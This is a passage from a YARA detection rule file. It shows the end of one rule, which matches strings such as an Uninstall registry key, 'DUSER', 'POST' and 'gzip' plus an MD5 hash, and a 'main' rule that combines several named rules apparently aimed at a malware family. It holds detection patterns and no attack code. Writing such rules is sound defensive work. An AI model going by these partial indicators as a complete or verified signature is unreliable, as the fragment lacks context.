$reg ="Software\\Microsoft\Windows\\CurrentVersion\\Uninstall" fullword
$strl ="DUSER"

$str2 ="POST"
$str3 ="gzip"
$json = "Newtonsoft.Json.dll" fullword
condition:
hash.md5(0,filesize) =="3695c1dca8b1cf368abad3f42f3efc16" or all of them
}
rule main {
condition:

FirstFile or LinkZip or FileHTA or Stinstaller or Duser or SystemApp




